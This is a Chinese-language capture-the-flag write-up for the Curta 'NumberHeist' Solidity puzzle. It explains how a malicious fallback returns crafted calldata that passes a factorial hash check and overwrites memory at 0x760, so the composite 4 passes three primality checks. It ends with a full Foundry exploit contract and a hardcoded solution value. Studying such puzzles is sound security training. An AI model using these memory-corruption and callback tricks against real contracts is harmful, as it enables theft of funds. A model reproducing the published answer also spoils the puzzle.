# Curta NumberHeist Writeup (中文版)
## 介绍
题目:https://www.curta.wtf/puzzle/base:9
大意:通过设计一个合数去绕过三层素数的校验。
## 分析
1. heist是唯一入口,
2. 有三个关键函数坐素数校验:_checkWilsons,_isPrimeByCircleCutting 和 _filsonsCompositenessCheck。
3. 虽然表面看起来三层素数校验是独立的,但是真正能影响攻击的地方在于checkWilsons时fallback的calldata传入_initializePuzzle
#### _initializePuzzle
下面是Puzzle初始化的函数,这里需要留意的地方是,他把数组放在0x760 上。
```solidity
function _initializePuzzle() internal pure returns (bytes memory magicTome) {
// What could this be?
assembly {
magicTome := 0x760
let tomePtr := add(magicTome, 0x20)
let tomeSize := 0x100
....
}
}
```
使用foundry可以发现:执行完initizePuzzle之后,这里会跳过很多空间,直接在0x760存入数组数据。这里是一个很奇怪的地方,因为合约的空间是线性存储的,很少人会直接跳过0x80,直接在0x760申请内存,这里大概率有猫腻。
![image](https://hackmd.io/_uploads/HkXosavy0.png)
#### _checkWilsons
这个方法的目的是使用wilsons方法来校验素数。Wilsons的定义如下:
> 如果p是一个素数,那么(p-1)! + 1能够被p整除,即(p-1)! ≡ -1 (mod p)。
因为我们可以通过fallback直接返回恶意的calldata,所以,可以利用calldata绕过,素数校验其实并不复杂,因为这里是希望你实现p-1的阶乘,我们可以在这里动手脚,轻松绕过素数校验。
```solidity
(bool success, bytes memory data) = msg.sender.call();
require(success);
assembly {
mstore(0x40, 0x360)
}
bytes[3] memory precomputedFactorials = abi.decode(data, (bytes[3]));
```
但比较头疼的是146行的校验
```solidity
require(keccak256(abi.encodePacked(precomputedFactorials[0], precomputedFactorials[1], precomputedFactorials[2])) == VALID_FACTORIALS_HASH, "Not Valid Factorials");
```
146行也对恶意合约做了一些“防护”,通过hash校验的方式来防止恶意calldata。
#### _isPrimeByCircleCutting
这里是比较复杂的地方,因为是在用0x760 的数组数据进行素数检测,关键在于_evaluateCyclotomic 函数,如果是按照原来cyclotomic的设计,当i == 63的时候,最后必然会得到非0值。导致无法绕过,
这里有一个思路:**覆盖内存,使得当i == 63的时候,bit == 0。或者覆盖内存使得全部bit == 0。**
```solidity=
function _evaluateCyclotomic(bytes8 cyclotomic, uint256 x) internal returns (int256 res) {
for (uint256 i = 63; i > 1; i-=2) {
uint8 cycloByte = uint8(cyclotomic[i / 8]);
uint adjustment = (7 - (i % 8));
uint8 sign = uint8(cycloByte & (1 << (adjustment + 1)));
uint8 bit = uint8(cycloByte & (1 << adjustment));
if (bit != 0) {
int256 val = int256(x**((63-i)/2));
console2.log("val ", val);
console2.log("i : ", i);
if (sign != 0) {
res -= val;
} else if (sign == 0){
res += val;
} else {
revert("Invalid sign");
}
}
}
}
```
#### _filsonsCompositenessCheck
这里是比较简单了,显然的素数代码有问题,n = 4 时就是true,会直接绕过检查。
## 攻击
首先我们需要构造满足校验hash的calldata,代码的提示比较清楚了,三个数组分别是4 byte, 8 byte, 16 byte的长度,分别对应[0,12], [13,20],[21,31]的阶乘。
```solidity
// Three entries: [ x! ∀ x <= 12, x! ∀ 12 < x <= 20, x! ∀ 20 < x <= 31 ]
// First entry factorials fit into 4 byte denominations
// Second entry factorials fit into 8 byte denominations
// Third entry factorials fit into 16 byte denominations
```
所以我们需要提前构造这几个阶乘的来满足hash,下面提供一下python代码
```python=
import math
def get_hex_arrays():
hex0, hex1, hex2 = '', '', ''
for i in range(0, 32):
factorial = math.factorial(i)
if i < 13:
hex0 += '{:016x}'.format(factorial)
elif 12 < i and i < 21:
hex1 += '{:024x}'.format(factorial)
else:
hex2 += '{:032x}'.format(factorial)
print('hex0', hex0)
print('hex1', hex1)
print('hex2', hex2)
get_hex_arrays()
```
通过python代码,我们可以得到:
```solidity=
precomputedFactorials[0] = hex"00000000000000010000000000000001000000000000000200000000000000060000000000000018000000000000007800000000000002d000000000000013b00000000000009d8000000000000589800000000000375f000000000002611500000000001c8cfc00";
precomputedFactorials[1] = hex"00000000000000017328cc0000000000000000144c3b2800000000000000013077775800000000000000130777758000000000000001437eeecd8000000000000016beecca7300000000000001b02b93068900000000000021c3677c82b40000";
precomputedFactorials[2] = hex"0000000000000002c5077d36b8c40000000000000000003ceea4c2b3e0d80000000000000000057970cd7e293368000000000000000083629343d3dcd1c0000000000000000cd4a0619fb0907bc0000000000000014d9849ea37eeac9180000000000000232f0fcbb3e62c335880000000000003d925ba47ad2cd59dae0000000000006f99461a1e9e1432dcb600000000000d13f6370f96865df5dd540000000001956ad0aae33a4560c5cd2c000000";
```
这三个数组进行encodePacked,是可以满足校验的。为了进一步攻击,
```solidity=
if lt(n, 14) {
let factorialsStart := add(f0, 0x08)
let factorialSpot := mload(add(factorialsStart, mul(sub(n, 1), 0x08)))
nMinusOneFactorial := and(factorialSpot, 0xFFFFFFFFFFFFFFFF)
}
```
我们可以留意到,其实当n < 14的时候,nMinusOneFactorial会取得0x08 + (n-1)*0x08的值,当n == 4时,nMinusOneFactorial是0x20,刚好是32位。这里,可以通过巧妙地压缩calldata,使得第一个数组为空,那么操控nMinusOneFactorial刚好得到第二个数组的bytes长度,从而绕过检查。
```solidity=
bytes[4] memory factorialData;
factorialData[0] = hex"";
factorialData[1] = hex"00000000000000010000000000000001000000000000000200000000000000060000000000000018000000000000007800000000000002d000000000000013b00000000000009d8000000000000589800000000000375f000000000002611500000000001c8cfc0000000000000000017328cc0000000000000000144c3b2800000000000000013077775800000000000000130777758000000000000001437eeecd8000000000000016beecca7300000000000001b02b93068900000000000021c3677c82b400";
factorialData[2] = hex"000000000000000002c5077d36b8c40000000000000000003ceea4c2b3e0d80000000000000000057970cd7e293368000000000000000083629343d3dcd1c0000000000000000cd4a0619fb0907bc0000000000000014d9849ea37eeac9180000000000000232f0fcbb3e62c335880000000000003d925ba47ad2cd59dae0000000000006f99461a1e9e1432dcb600000000000d13f6370f96865df5dd540000000001956ad0aae33a4560c5cd2c000000";
```
factorialData[1]的长度刚好是199,(199 + 1) % 4 轻松绕过检查。目前,仅剩0x760数组的这个还没解决。根据上面的分析,0x760的内存是有猫腻的,刚好我们返回的data是放在memory的,我们其实是可以通过恶意构造calldata,使得当存data的时候,覆盖掉`0x760`后的`0x100`的长度,这样bit就能全是0了。效果如下:
![image](https://hackmd.io/_uploads/rJEuppv10.png)
应该怎么做呢?
![image](https://hackmd.io/_uploads/SkyFaaD10.png)
我们首先需要精确得到data从fallback返回时放在哪个memory的地址上的,这个可以通过forge debug 看到,是在`0xc0`上开始的。现在的问题是`0xc0`开始要加多少可以覆盖内存,从forge debug可以看到是需要在`0xc0 + 0x280 = 0x340` 开始覆盖内存。我们需要`0x760 - 0x340 = 0x420` 来填充空间 ,使得指针刚好指向`0x760`。因为题目要求magicTome 必须是`0x100`长度,所以,我们需要申请`0x520`的内存长度,使得可以刚好覆盖。
```solidity=
fallback(bytes calldata input) external returns (bytes memory data){
bytes[4] memory factorialData;
factorialData[0] = hex"";
factorialData[1] = hex"00000000000000010000000000000001000000000000000200000000000000060000000000000018000000000000007800000000000002d000000000000013b00000000000009d8000000000000589800000000000375f000000000002611500000000001c8cfc0000000000000000017328cc0000000000000000144c3b2800000000000000013077775800000000000000130777758000000000000001437eeecd8000000000000016beecca7300000000000001b02b93068900000000000021c3677c82b400";
factorialData[2] = hex"000000000000000002c5077d36b8c40000000000000000003ceea4c2b3e0d80000000000000000057970cd7e293368000000000000000083629343d3dcd1c0000000000000000cd4a0619fb0907bc0000000000000014d9849ea37eeac9180000000000000232f0fcbb3e62c335880000000000003d925ba47ad2cd59dae0000000000006f99461a1e9e1432dcb600000000000d13f6370f96865df5dd540000000001956ad0aae33a4560c5cd2c000000";
bytes memory extraData = new bytes(0x520);
....
}
```
最后还差一步,就是在`0x760`的位置写入长度`0x100`。
```solidity=
fallback(bytes calldata input) external returns (bytes memory data){
bytes[4] memory factorialData;
factorialData[0] = hex"";
factorialData[1] = hex"00000000000000010000000000000001000000000000000200000000000000060000000000000018000000000000007800000000000002d000000000000013b00000000000009d8000000000000589800000000000375f000000000002611500000000001c8cfc0000000000000000017328cc0000000000000000144c3b2800000000000000013077775800000000000000130777758000000000000001437eeecd8000000000000016beecca7300000000000001b02b93068900000000000021c3677c82b400";
factorialData[2] = hex"000000000000000002c5077d36b8c40000000000000000003ceea4c2b3e0d80000000000000000057970cd7e293368000000000000000083629343d3dcd1c0000000000000000cd4a0619fb0907bc0000000000000014d9849ea37eeac9180000000000000232f0fcbb3e62c335880000000000003d925ba47ad2cd59dae0000000000006f99461a1e9e1432dcb600000000000d13f6370f96865df5dd540000000001956ad0aae33a4560c5cd2c000000";
bytes memory extraData = new bytes(0x520);
assembly {
mstore(add(add(extraData, 0x20), 0x400), 0x0100)
}
factorialData[3] = extraData;
data = abi.encode(factorialData);
}
```
最后通过传入heist(4,0,2,2)就可以绕过全部校验了。
代码
```solidity=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script} from "forge-std/Script.sol";
import {Test, console2} from "forge-std/Test.sol";
import "@curta/NumberHeist.sol";
interface ICurta {
function solve(uint32, uint256) external;
}
contract NumberHeistTesting is Test {
bytes32 constant VALID_FACTORIALS_HASH = 0x024260b3e934c04b47e60ebbf3a5974c8008d1494ac24bfb1358daf47e752953;
uint256 constant public SOLUTION = 0x8fbcb4375b910093bcf636b6b2f26b26eda2a29ef5a8ee7de44b5743c3bf9a28;
// forge test -C NumberHeistTesting -vvvv
// function test0() public {
// // vm.createSelectFork(vm.envString("ETH_RPC_URL"));
// NumberHeist p = new NumberHeist();
// uint256 start = p.generate(address(this));
// console2.log(start);
// bytes[3] memory precomputedFactorials;
// precomputedFactorials[0] = hex"00000000000000010000000000000001000000000000000200000000000000060000000000000018000000000000007800000000000002d000000000000013b00000000000009d8000000000000589800000000000375f000000000002611500000000001c8cfc00";
// precomputedFactorials[1] = hex"00000000000000017328cc0000000000000000144c3b2800000000000000013077775800000000000000130777758000000000000001437eeecd8000000000000016beecca7300000000000001b02b93068900000000000021c3677c82b40000";
// precomputedFactorials[2] = hex"0000000000000002c5077d36b8c40000000000000000003ceea4c2b3e0d80000000000000000057970cd7e293368000000000000000083629343d3dcd1c0000000000000000cd4a0619fb0907bc0000000000000014d9849ea37eeac9180000000000000232f0fcbb3e62c335880000000000003d925ba47ad2cd59dae0000000000006f99461a1e9e1432dcb600000000000d13f6370f96865df5dd540000000001956ad0aae33a4560c5cd2c000000";
// console2.logBytes(abi.encodePacked(precomputedFactorials[0], precomputedFactorials[1], precomputedFactorials[2]));
// require(keccak256(abi.encodePacked(precomputedFactorials[0], precomputedFactorials[1], precomputedFactorials[2])) == VALID_FACTORIALS_HASH, "Not Valid Factorials");
// }
function run(address challenge) public {
NumberHeist heist = new NumberHeist();
heist.heist(4, 0, 2, 2);
ICurta(0x00000000D1329c5cd5386091066d49112e590969).solve(9, SOLUTION);
}
function test_attackHeist() public {
NumberHeist p = new NumberHeist();
uint256 start = p.generate(address(this));
p.heist(
4,
0,
2,
2
);
}
fallback(bytes calldata input) external returns (bytes memory data){
bytes[4] memory factorialData;
factorialData[0] = hex"";
factorialData[1] = hex"00000000000000010000000000000001000000000000000200000000000000060000000000000018000000000000007800000000000002d000000000000013b00000000000009d8000000000000589800000000000375f000000000002611500000000001c8cfc0000000000000000017328cc0000000000000000144c3b2800000000000000013077775800000000000000130777758000000000000001437eeecd8000000000000016beecca7300000000000001b02b93068900000000000021c3677c82b400";
factorialData[2] = hex"000000000000000002c5077d36b8c40000000000000000003ceea4c2b3e0d80000000000000000057970cd7e293368000000000000000083629343d3dcd1c0000000000000000cd4a0619fb0907bc0000000000000014d9849ea37eeac9180000000000000232f0fcbb3e62c335880000000000003d925ba47ad2cd59dae0000000000006f99461a1e9e1432dcb600000000000d13f6370f96865df5dd540000000001956ad0aae33a4560c5cd2c000000";
bytes memory extraData = new bytes(0x520);
assembly {
mstore(add(add(extraData, 0x20), 0x400), 0x0100)
}
factorialData[3] = extraData;
data = abi.encode(factorialData);
}
}
contract NumberHeistDebug is Script {
function run() public {
// uint256 privateKey = vm.envUint("private");
// vm.startBroadcast(privateKey);
// vm.createSelectFork(vm.envString("ETH_RPC_URL"));
address challenge = 0x5029000a811A7Cb5Ad9333F8f5d08b3Fb96F6386;
NumberHeistTesting exp = new NumberHeistTesting();
exp.run(challenge);
}
}
```